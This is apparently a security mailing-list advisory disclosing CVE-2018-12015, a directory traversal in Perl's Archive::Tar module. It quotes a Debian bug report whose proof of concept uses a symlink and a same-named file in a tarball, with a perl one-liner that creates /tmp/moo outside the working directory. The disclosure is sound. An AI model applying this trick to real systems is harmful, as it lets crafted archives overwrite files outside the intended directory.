Subject: Perl: CVE-2018-12015: Archive::Tar: directory traversal vulnerability
Hi
The following dirctory traversal vulnerability was reporte to the
Debian bugtracker at https://bugs.debian.org/900834 , which got
assigned CVE-2018-12015 by MITRE (requested via the
http://cveform.mitre.org/):
> By default, the Archive::Tar module doesn't allow extracting files
> outside the current working directory. However, you can bypass this
> secure extraction mode easily by putting a symlink and a regular file
> with the same name into the tarball.
>
> I've attached proof of concept tarball, which makes Archive::Tar create
> /tmp/moo, regardless of what the current working directory is:
>
> $ tar -tvvf traversal.tar.gz
> lrwxrwxrwx root/root 0 2018-06-05 18:55 moo -> /tmp/moo
> -rw-r--r-- root/root 4 2018-06-05 18:55 moo
>
> $ pwd
> /home/jwilk
>
> $ ls /tmp/moo
> ls: cannot access '/tmp/moo': No such file or directory
>
> $ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'
>
> $ ls /tmp/moo
> /tmp/moo
The mentioned proof of concept tarball is attached to the Debian bug at
https://bugs.debian.org/cgi-bin/bugreport.cgi?att=1;bug=900834;filename=traversal.tar.gz;msg=3
.
